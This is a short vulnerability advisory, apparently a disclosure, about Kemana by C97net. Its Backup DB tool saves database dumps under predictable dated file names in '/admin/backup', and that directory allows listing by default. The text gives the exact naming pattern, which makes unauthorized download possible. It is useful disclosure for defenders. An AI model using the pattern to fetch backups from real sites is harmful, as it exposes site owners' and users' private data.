Vendor: C97net
Product web page: http://www.c97.net

Desc: Kemana stores database backups using the Backup DB tool
with a predictable file name inside the '/admin/backup' directory
as '_Full Backup YYYYMMDD_1.sql' or '_Full Backup YYYYMMDD_1.gz',
which can be exploited to disclose sensitive information by
downloading the file. The '/admin/backup' is also vulnerable to
directory listing by default.
